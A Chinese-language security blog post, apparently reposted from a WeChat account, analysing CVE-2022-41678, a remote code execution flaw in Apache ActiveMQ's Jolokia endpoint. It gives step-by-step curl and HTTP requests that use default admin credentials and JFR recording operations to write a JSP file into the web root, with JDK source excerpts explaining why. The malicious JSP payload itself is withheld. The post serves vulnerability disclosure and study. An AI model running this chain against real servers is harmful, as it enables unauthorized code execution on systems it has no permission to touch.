Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)

admin 2023年12月2日03:53:03评论45 views1字数 4688阅读15分37秒阅读模式

漏洞说明

漏洞编号CVE-2022-41678

漏洞描述Apache ActiveMQ是最流行的开源、多协议、基于 Java 的消息代理。它支持行业标准协议,用户可以从多种语言和平台的客户端使用AMQP协议集成多平台应用程序。Apache ActiveMQ管理控制界面存在jolokia 端点,若未修改账号密码,则攻击者可构造调用jolokia相关功能造成远程代码执行。官方已发布安全更新,建议升级至最新版本。

漏洞影响范围:

Apache ActiveMQ < 5.16.6

Apache ActiveMQ 5.17.0 < 5.17.4




漏洞复现

漏洞利用分为五步:

创建Record

curl -XGET --user admin:admin --header "Origin: http://localhost" http://127.0.0.1:8161/api/jolokia/exec/jdk.management.jfr:type=FlightRecorder/newRecording/// 返回值中"value"值为该Record ID,后续利用需要


修改Record配置
POST /api/jolokia HTTP/1.1host: 127.0.0.1:8161Origin: http://127.0.0.1:8161/* Basic Auth 信息 */{   "type":"EXEC",   "mbean":"jdk.management.jfr:type=FlightRecorder",   "operation":"setConfiguration",   "arguments":[1,"恶意XML"]}// 此处的1就是前面创建Record得到的Record ID
启动Record
curl -XGET --user admin:admin --header "Origin: http://localhost" http://127.0.0.1:8161/api/jolokia/exec/jdk.management.jfr:type=FlightRecorder/startRecording/1
停止Record
curl -XGET --user admin:admin --header "Origin: http://localhost" http://127.0.0.1:8161/api/jolokia/exec/jdk.management.jfr:type=FlightRecorder/stopRecording/1
copyTo写出恶意内容
POST /api/jolokia HTTP/1.1host: 127.0.0.1:8161Origin: http://127.0.0.1:8161/* Basic Auth 信息 */{ "type":"EXEC", "mbean":"jdk.management.jfr:type=FlightRecorder", "operation":"copyTo", "arguments":[1,"../webapps/admin/msfcode.jsp"]}// 此处的1就是前面创建Record得到的Record ID

Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)



漏洞分析

该漏洞主要产生于ActiveMQjolokia组件对JXM服务使用限制不严导致。
Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)
ActiveMQ配置文件webappsapiWEB-INFweb.xml文件中配置了如下信息
<servlet-mapping><servlet-name>jolokia-agent</servlet-name><url-pattern>/jolokia/*</url-pattern></servlet-mapping>
<servlet><servlet-name>jolokia-agent</servlet-name><servlet-class>org.jolokia.http.AgentServlet</servlet-class><!-- Uncomment this if you want jolokia multicast discovery to be enabled <init-param> <param-name>discoveryEnabled</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>discoveryAgentUrl</param-name> <param-value>http://${host}:8161/api/jolokia</param-value> </init-param> <init-param> <param-name>agentDescription</param-name> <param-value>Apache ActiveMQ</param-value> </init-param> --><!-- turn off returning exceptions and stacktraces from jolokia --><init-param><param-name>allowErrorDetails</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet>
此处得到jolokia访问路径/api/jolokia,搜索得到如下使用文档
Chapter 6. Jolokia Protocol
Monitor and control #ActiveMq using Jolokia #API
查看漏洞修复commit得到如下

Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)

与漏洞描述结合可知此处的jdk.management.jfr:type=FlightRecorder就是漏洞利用的关键,通过jconsole得到对应类信息

Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)
定位该类,结合漏洞描述可知其copyTo方法可被用于漏洞利用
Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)
Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)
Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)
Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)
可以看到此处会将Record对象写出到指定文件,故我们控制该文件路径为webapps下任一Context下即可,至于内容此处经过测试发现写出的内容包含Configuration配置信息,至于配置信息目标也可以通过调试得到,这里不放出
Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)
我们只需要在其中插入JSP恶意代码即可,注意转义:<=>&#x3c;>=>%&#x3e;,修改完毕配置信息后下一步就可以启动停止该Record并进行写文件操作,注意这里一定要记得stop,否则会导致写出几MBJSP文件然后访问出错,至于为什么需要start,因为启动的时候底层会调用到jdk.jfr.internal.PlatformRecorder#start方法,在这里会将Record内容信息写到currentChunk字段,然后添加到chunks中,后续copyTo需要使用。
synchronized void start(PlatformRecording recording) {    // State can only be NEW or DELAYED because of previous checks    Instant now = Instant.now();    recording.setStartTime(now);    recording.updateTimer();    Duration duration = recording.getDuration();    if (duration != null) {        recording.setStopTime(now.plus(duration));    }    boolean toDisk = recording.isToDisk();    boolean beginPhysical = true;    for (PlatformRecording s : getRecordings()) {        if (s.getState() == RecordingState.RUNNING) {            beginPhysical = false;            if (s.isToDisk()) {                toDisk = true;            }        }    }    if (beginPhysical) {        RepositoryChunk newChunk = null;        if (toDisk) {            newChunk = repository.newChunk(now);            MetadataRepository.getInstance().setOutput(newChunk.getUnfishedFile().toString());        } else {            MetadataRepository.getInstance().setOutput(null);        }        currentChunk = newChunk;        jvm.beginRecording_();        recording.setState(RecordingState.RUNNING);        updateSettings();        writeMetaEvents();    } else {        RepositoryChunk newChunk = null;        if (toDisk) {            newChunk = repository.newChunk(now);            RequestEngine.doChunkEnd();            MetadataRepository.getInstance().setOutput(newChunk.getUnfishedFile().toString());        }        recording.setState(RecordingState.RUNNING);        updateSettings();        writeMetaEvents();        if (currentChunk != null) {            // 此处调用该方法将currentChunk添加到jdk.jfr.internal.PlatformRecording#chunks中            finishChunk(currentChunk, now, recording);        }        currentChunk = newChunk;    }
RequestEngine.doChunkBegin();}

private void finishChunk(RepositoryChunk chunk, Instant time, PlatformRecording ignoreMe) { chunk.finish(time); for (PlatformRecording r : getRecordings()) { if (r != ignoreMe && r.getState() == RecordingState.RUNNING) { r.appendChunk(chunk); } }}

void appendChunk(RepositoryChunk chunk) { if (!chunk.isFinished()) { throw new Error("not finished chunk " + chunk.getStartTime()); } synchronized (recorder) { if (!toDisk) { return; } if (maxAge != null) { trimToAge(chunk.getEndTime().minus(maxAge)); } chunks.addLast(chunk); added(chunk); trimToSize(); }}



结语
漏洞过程较为简单,至于ct提到log4j手法本人在JDK8环境下启动activemq默认并没有log4j相关mbean。

原文始发于微信公众号(安全之道):Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月2日03:53:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)https://cn-sec.com/archives/2256428.html

发表评论

匿名网友 填写信息